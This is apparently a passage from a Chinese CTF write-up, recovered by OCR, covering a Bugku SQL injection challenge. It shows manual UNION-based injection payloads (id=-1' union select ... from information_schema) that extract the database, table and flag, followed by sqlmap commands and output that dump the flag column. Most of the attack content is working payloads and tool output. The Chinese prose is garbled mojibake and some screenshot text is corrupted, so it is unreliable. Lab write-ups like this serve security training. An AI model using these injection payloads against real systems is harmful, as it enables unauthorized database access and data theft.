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MySqlfE5.0hR A J& H13 — A ninformation_schemaffl lELEEE, HH R1FE 2 TMySQLAR S 33 At 437 i H AR E (5
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A 2fgroup_concat) R R BB AN AN EBAR —E T EEEN, XERATEIMt0,1—N—NHET

HeF“id=3" order by 4# %R, KRILFLL, RJGH id=3' order by 5# =ik, KIAIT, ArLA#hE RN FE.
BIR, BBES: id=-1' union select 1,2,3,4 ABIdEANAREAMBIdEEEKE, BMNEHWRARASEES S
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Encryption ~ Encoding ~ SQL » XSS = Other « Contribute now! HackBar v2

g Load URL | hitp:/123.206.87.240:8002/chengjidan/findex.php

g.g Split URL

| Execute
Postdata [ Referer [ User Agent [ Cookies Clear All

id=-1" union select 1.2,3 4#

BRELZEMWLATFIERET: id=-1' union select 1,database(),user(),version()#
BEIBYEFE LN skctf_flag

id=-1"' union select 1,group_concat(colum_name),user(),version() from information_schema.tables where

table_schema=database()#

LHEXANEESH, group_concatR R ARIEEHFPNEHRAR —RIEESFH,
1R ER R

skctf_flag skctf_flag@localhost 5.5.341o0g
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g Load URL http:/i123.206.87.240:8002/chengjidan/index_php

Split URL
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id=-1" union select 1,database().user().version{)#
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id=-1" union select 1,group_concat(column_name),user(),version() from information_schema.columns where

table_name='fl4g'
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skctf_flag skctf_flag@localhost 55.34-log

HackBar
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) Load URL hitp:/123.206.87.240:8002/chengjidan/index.php
4 split URL

) Execute
2 Postdata [] Referer [] User Agent [] Cookies Clear All

id=-1' union select 1,group_concat(column_name),user(),version() from
information_schema.columns where table_name="4g'#

®EMRE, FFHEKFLE,
SIH#HE id=-1" union select 1,skctf flag,user(),version() from flagi

1HIRER R

BUGKU{Sql_INJECTON_4813drd8hz4} skctf_flag@localhost 55.34-log

Encryption + Encoding ~ SQL~ XSS5~ Other =
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g loadURL | hitp://123.206.87.240:8002/chengjidan/index.php

g.g Split URL

Execut
y Exeale Postdata [] Referer [] User Agent [] Cookies Clear All

id=-1'" union select 1,skctf_flag,user(),version() from fldg#
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sqlmap

RPN E28H3, AbupilE, HHAFBICERES.
REFTFFEATE] Z Fsqlimap:

PATLLFARAS: sqlmap.py -r D:\250.txt -p id --dbs
RIS A 4 9250 .0, I HISFED# .

-r -->¥T FF 8 & S

-p > EEANSH

—current-db (F/N-) B --dbs—>F 4

RIEMRUMTAR

] FfBsqlmap
sqlmap identified the following injection point(s) with a total of 96 HITP(s) requests:

n___

Parameter: id (POST)
Type: AND/OR time-based blind
Title: MyS50L »>= 5.0.12 AND time-based blind
Pavload: id=1" AND SLEEP(E) AND *ojbB’ = ojbB

Type: UNION query

Title: Generic THION query (NULL) - 4 columns

Payload: id=-9962° UNION ALL SELECT NULL, NULL, NULL, CONCAT (0x716a7afb71, 0xBE58704fA5T0A04e69064fAE4347434F 47734
1634bE 153475461625 260046555 360627260, 0xT1787afkb71) —— Nein

aback-end DENS: My3OL >= 5.0, 12

available databases [2]:
M [+] information schema
[#] cketf_flag

[+] shutting dovn at 23:23:34

C A Pyvthon27h\Sqlmap 1. 2. 3>

https://blog.csdn.net/kuller_Yan
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sqlmap.py -r D:\250.txt -p id -D skctf_flag --tables
-D ->Hi R H

—tables(FiA-) —->%1 H 24 5T 503 22 i 3=

sqlmap

Title: MyS0L »>= 5.0.12 AND time-based blind
Payload: id=1" AND SLEEF(E) AMD ' ojbB’ =" ojbB

Type: TNION query

Title: Generic UNION query (NULL) - 4 columns

Payload: id=-9962" TNION ALL SELECT NULL, NULL, MULL, CONCAT (0x716a7afb7l, 0x6558704fAETOA04eA0AR4fAE4347 4345477240024
1634b515347546162526b694855E860627869, 0x71787a6b71)—— Ngin

back-end DEMS: MysQL >= 5.0 12

Database: skectf_flag
8 (2 tables]




[+] shutting down at 23:37:13

bc: \Python27\Sqlmap 1.2.3>

https://blog.csdn.net/kuller_Yan

FR~INBRW R A, RIEMEAIRBHS

4 : sqlmap.py -r D:\250.txt -p id -D skctf flag -T flag --column
T-->iRERA

—column (FEA~-) —>F1H HaTER KI5

sqlmap

Parameter: id (POST)
Tvpe: AND/OR time-based blind
Title: MvS0L »>= 5.0.12 AND time-based blind
Payload: id=1" AND SLEEP(E) AND ' oibB’ = oibB

Type: TNION query

Title: Generic UNION query (NULL) - 4 columns

Payload: id=-9962" TNION ALL SELECT NULL, NULL, MULL, CONCAT (0x716a7afb7l, 0x6558T04fAETOA04eA0AR4fAE4347 4345 47T R4ER2 4
1634b515347546162526b604855E860627869, 0x71787a6b71)—— Ng¥n

back-end DEMS: MysQL >= 5.0 12

Databaze: skctf flag
Table: fldg
[1 colummn]

| sketf flag | warchar(B4) |
A e e e e e e +

\[*] shutting down at 23:44:48

C:\Python27\Sqlmap 1. 2. 3> https://blog.csdn.net’kuller_Yan

BBHRT, FORFFE! !

&JE T HEE,

4 : sqlmap.py -r D:\250.txt -p id -D skctf flag -T flag -C skctf_flag --dump
-C ->185E %54

—dump (FEAN-) —> T HEE

. " ——hex’
'[23:48:%2] [yARNING] {case) time-based comparison reguires larger statistical model, please wait
done
[23:48:34] [WARNING] it is very important to not stress the network comnmection during usaze of time-based pavloads to
event potential disruptlons
do you want sqlmap to try to optimize walue(s) for DBNS delay responses (option ~--time-sec’ )7 [T/n] v
A
B(23:48:43] [WARNING] (case) time-based comparison requires larger statistical model, please walt
done

EUGED [Sql_INJECTON_4313drdShz4}
Databaze: sketf flag
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